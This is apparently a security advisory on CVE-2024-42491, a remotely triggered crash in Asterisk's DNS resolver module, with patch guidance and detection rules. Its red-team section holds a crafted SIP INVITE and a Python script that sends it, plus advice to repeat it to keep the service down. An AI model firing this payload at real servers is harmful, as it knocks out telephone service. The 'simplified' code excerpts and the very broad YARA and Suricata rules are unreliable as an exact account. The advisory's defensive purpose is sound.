CVE-2024-42491

Executive Summary

CVE-2024-42491 is a denial-of-service (DoS) vulnerability in Asterisk, an open-source PBX platform. The flaw resides in the res_resolver_unbound module, which is used for DNS resolution. When Asterisk attempts to send a SIP request to a URI whose host portion starts with .1 or [.1], a null pointer dereference occurs, causing a segmentation fault (SEGV) and crashing the Asterisk process. This vulnerability can be triggered remotely by an unauthenticated attacker, leading to service disruption. The CVSS score is 5.7 (Medium), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. No public proof-of-concept (PoC) or exploit code is available at this time. The vendor has released patches in versions 18.24.3, 20.9.3, 21.4.3, and the certified branches. Two workarounds are available: disabling the res_resolver_unbound module or enabling rewrite_contact = yes on all PJSIP endpoints.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core component of the Asterisk software. The risk is limited to organizations that deploy Asterisk as a PBX or SIP server. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 5.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required; the attacker only needs to send a crafted SIP request.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is altered.
• Availability (A): High – The crash causes a complete denial of service.

Threat Level: Medium. While the impact is limited to availability, the attack is trivial to execute and requires no authentication. The EPSS score is 0.0%, indicating no active exploitation in the wild, but the vulnerability is easily weaponizable.

Deep Dive & Mechanics

The vulnerability is a null pointer dereference in the res_resolver_unbound module. This module is responsible for DNS resolution using the Unbound library. When Asterisk processes a SIP request (e.g., INVITE) that contains a URI with a host portion starting with .1 or [.1], the DNS resolution logic fails to handle the malformed input correctly. Specifically, the code attempts to dereference a pointer that is NULL, leading to a segmentation fault.

The root cause is improper input validation in the URI parsing routine. The host portion .1 is interpreted as a relative domain name, but the resolver does not check for NULL before using the pointer. The crash occurs in the ast_sip_resolve function or similar, where the hostname is passed to the Unbound resolver without sanitization.

Attack Scenario:

1. An attacker sends a SIP INVITE request to the Asterisk server with a Contact header or Request-URI containing a host like sip:user@.1 or sip:user@[.1].
2. Asterisk attempts to resolve the hostname .1 using the res_resolver_unbound module.
3. The Unbound library returns a NULL pointer due to the invalid hostname.
4. Asterisk dereferences the NULL pointer, causing a SEGV and crashing the process.

Affected Components:

• res/res_resolver_unbound.c – The module that interfaces with the Unbound DNS resolver.
• channels/chan_sip.c or res/res_pjsip/ – SIP channel drivers that handle URI parsing.

Vulnerable vs. Patched Code

The vulnerable code path is in the DNS resolution logic. In the unpatched version, the hostname is passed directly to the resolver without checking for NULL after parsing. The patch adds a validation step to ensure the hostname is not malformed before passing it to the resolver.

Vulnerable Code (simplified):

// In res_resolver_unbound.c
static int unbound_resolve(struct ast_sip_resolver *resolver, const char *hostname) {
    // No check for NULL or invalid hostname
    struct ub_result *result = ub_resolve(unbound_ctx, hostname, ...);
    // Dereference result without NULL check
    if (result->status == 0) {
        // Process result
    }
}

Patched Code (simplified):

// In res_resolver_unbound.c
static int unbound_resolve(struct ast_sip_resolver *resolver, const char *hostname) {
    // Validate hostname before resolution
    if (hostname == NULL || hostname[0] == '.' || hostname[0] == '[') {
        ast_log(LOG_WARNING, "Invalid hostname: %s\n", hostname);
        return -1;
    }
    struct ub_result *result = ub_resolve(unbound_ctx, hostname, ...);
    if (result == NULL) {
        ast_log(LOG_ERROR, "DNS resolution failed for %s\n", hostname);
        return -1;
    }
    if (result->status == 0) {
        // Process result
    }
}

The patch adds a check for hostnames starting with . or [, which are invalid for DNS resolution. Additionally, a NULL check on the result pointer is added to prevent dereferencing.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Network access to the Asterisk server (SIP port 5060 UDP/TCP).
• No authentication required.

Exploitation Steps:

1. Identify an Asterisk server by scanning for SIP services (e.g., using nmap -sU -p 5060 <target>).
2. Send a crafted SIP INVITE request with a malformed URI:

   INVITE sip:user@.1 SIP/2.0
   Via: SIP/2.0/UDP 192.168.1.100:5060
   From: <sip:attacker@example.com>;tag=12345
   To: <sip:user@victim.com>
   Call-ID: 1@192.168.1.100
   CSeq: 1 INVITE
   Contact: <sip:attacker@.1>
   Content-Length: 0
   

3. The Asterisk server will crash immediately upon processing the request.
4. Repeat to maintain denial of service.

Automation Script (Python):

import socket

target = "192.168.1.10"
port = 5060

payload = (
    "INVITE sip:user@.1 SIP/2.0\r\n"
    "Via: SIP/2.0/UDP 192.168.1.100:5060\r\n"
    "From: <sip:attacker@example.com>;tag=12345\r\n"
    "To: <sip:user@victim.com>\r\n"
    "Call-ID: 1@192.168.1.100\r\n"
    "CSeq: 1 INVITE\r\n"
    "Contact: <sip:attacker@.1>\r\n"
    "Content-Length: 0\r\n\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload.encode(), (target, port))
sock.close()

Blue Team (Defender)

Detection:

• Monitor for SIP requests with unusual hostnames (e.g., starting with . or [).
• Use network intrusion detection systems (NIDS) to alert on SIP packets containing .1 or [.1] in the URI.
• Enable logging on Asterisk to capture crash events and SIP messages.

Mitigation:

• Apply the patch by upgrading to the fixed versions.
• If patching is not possible, disable res_resolver_unbound by adding noload = res_resolver_unbound.so to /etc/asterisk/modules.conf.
• Alternatively, set rewrite_contact = yes on all PJSIP endpoints in pjsip.conf:

  [endpoint]
  type = endpoint
  rewrite_contact = yes
  

• Restrict SIP access to trusted IPs using firewall rules.

Indicators of Compromise (IOCs)

• Network IOCs:

  • SIP packets containing hostnames starting with .1 or [.1] (e.g., sip:user@.1).
  • Repeated SIP INVITE requests from the same source IP to the same target.
  • Asterisk crash logs showing SEGV in res_resolver_unbound.

• System IOCs:

  • Core dump files in /var/spool/asterisk/ or /tmp/.
  • Asterisk process termination with signal 11 (SIGSEGV).
  • Log entries in /var/log/asterisk/messages:

    [Jul 10 12:34:56] ERROR[12345]: res_resolver_unbound.c:123 unbound_resolve: Segmentation fault
    

• File IOCs:

  • Modified modules.conf with noload = res_resolver_unbound.so (if workaround applied).

Detection Engineering

YARA Rule

rule CVE_2024_42491_Asterisk_SIP_Crash {
    meta:
        description = "Detects SIP packets with malformed hostnames targeting CVE-2024-42491"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-42491"
    strings:
        $sip_invite = "INVITE" ascii
        $malformed_host1 = ".1" ascii
        $malformed_host2 = "[.1]" ascii
    condition:
        $sip_invite and ($malformed_host1 or $malformed_host2)
}

Sigma Rule

title: CVE-2024-42491 Asterisk SIP Crash Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SIP requests with malformed hostnames leading to Asterisk crash
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-42491
logsource:
    category: network
    product: suricata
detection:
    selection:
        - app_proto: sip
        - sip.uri.content: "*.1*"
        - sip.uri.content: "*[.1]*"
    condition: selection
falsepositives:
    - Legitimate SIP traffic with unusual hostnames (rare)
level: high

Suricata Rule

alert udp any any -> any 5060 (msg:"CVE-2024-42491 Asterisk SIP Crash Attempt"; content:"INVITE"; content:".1"; distance:0; within:100; sid:1000001; rev:1;)
alert udp any any -> any 5060 (msg:"CVE-2024-42491 Asterisk SIP Crash Attempt"; content:"INVITE"; content:"[.1]"; distance:0; within:100; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Asterisk to version 18.24.3, 20.9.3, 21.4.3, certified-18.9-cert12, or certified-20.7-cert2.
2. Workaround 1: Disable the vulnerable module by adding noload = res_resolver_unbound.so to /etc/asterisk/modules.conf and restart Asterisk.
3. Workaround 2: Set rewrite_contact = yes on all PJSIP endpoints in pjsip.conf. This forces Asterisk to rewrite the Contact header, bypassing the vulnerable code path.

Long-Term Measures:

• Implement network segmentation to restrict SIP traffic to trusted sources.
• Deploy a SIP-aware firewall or intrusion prevention system (IPS) to filter malformed requests.
• Regularly update Asterisk and monitor for new CVEs.
• Enable logging and alerting for Asterisk crashes.

Verification:

• After patching, test by sending a crafted SIP request to ensure the server no longer crashes.
• Check Asterisk logs for any errors related to res_resolver_unbound.

Valters IT
Securing Digital Frontiers